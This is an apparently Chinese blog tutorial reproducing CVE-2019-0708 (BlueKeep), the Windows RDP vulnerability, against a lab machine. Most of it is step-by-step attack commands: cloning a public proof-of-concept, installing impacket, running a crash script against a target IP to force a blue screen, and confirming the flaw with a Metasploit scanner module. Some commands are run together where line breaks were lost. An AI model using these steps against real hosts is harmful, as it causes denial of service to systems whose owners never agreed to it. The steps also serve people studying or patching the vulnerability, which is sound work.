CVE-2019-0708漏洞利用复现的示例分析

这篇文章将为大家详细讲解有关CVE-2019-0708漏洞利用复现的示例分析，小编觉得挺实用的，因此分享给大家做个参考，希望大家阅读完这篇文章后可以有所收获。

0x00漏洞概述

Windows系列服务器于2019年5月15号，被爆出高危漏洞，该服务器漏洞利用方式是通过远程桌面端口3389，RDP协议进行攻击的，堪比WannaCry(蠕虫病毒)。

0x01影响版本

Windows 7

Windows Server 2008 R2

Windows Server 2008

Windows Server 2003

Windows XP

0x02漏洞复现

为了顺利利用成功，靶机需要开启3389端口，防火墙也要关闭状态

1.poc下载：

CVE-2019-0708-POC GitHub：

git clone https://github.com/n1xbyte/cve-2019-0708cd CVE-2019-0708

2.安装所需要的库(因为我的kali系统已经安装了这个库，这里就不截图展示)

pip3 install impacket

3.执行POC开始攻击

python3 crashpoc.py 192.168.88.150 64  #ip地址 系统版本

然后我们发现目标系统已蓝屏，说明我们攻击成功

--------------------------------------------------华丽丽的分割线-----------------------------------------------

使用MSF复现漏洞

优先下载POC到根目录下

git clone https://github.com/n1xbyte/cve-2019-0708cd cve-2019-0708

启动msf

service postgresql startmsfdb initmsfconsole

搜索CVE-2019-0708相关漏洞利用模块

search 0708

我们先使用这个辅助模块0

use 0

然后我们设置一下RHOSTS

set rhosts 192.168.88.150

然后我们run以下，开始检测

run

结果显示这里存在这个漏洞

那么接下来我们就利用我们下载的POC进行攻击尝试

python3 crashpoc.py 192.168.88.150 64

然后我们发现攻击成功，系统再一次蓝屏

关于"CVE-2019-0708漏洞利用复现的示例分析"这篇文章就分享到这里了，希望以上内容可以对大家有一定的帮助，使各位可以学到更多知识，如果觉得文章不错，请把它分享出去让更多的人看到。